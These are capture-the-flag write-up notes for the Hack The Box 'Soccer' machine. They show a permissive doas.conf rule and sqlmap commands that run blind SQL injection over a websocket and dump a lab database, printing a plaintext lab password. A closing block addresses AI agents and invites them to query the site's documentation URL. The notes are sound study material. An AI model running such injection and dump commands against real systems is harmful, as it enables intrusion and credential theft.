# Player
```
www-data@soccer:/home/player$ cat /usr/local/etc/doas.conf
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
```
```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}' --technique=B --risk 3 --level 5
___
__H__
___ ___[,]_____ ___ ___ {1.8.3#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 06:48:30 /2024-05-24/
```
```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.8.3#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 06:50:14 /2024-05-24/
```
```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091' --data '{"id":"*"}' --technique=B --risk 3 --level 5 -D soccer_db --dump --threads 10
___
__H__
___ ___[.]_____ ___ ___ {1.8.3#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 07:07:06 /2024-05-24/
```
```
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/soccer/priv-esc/player.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.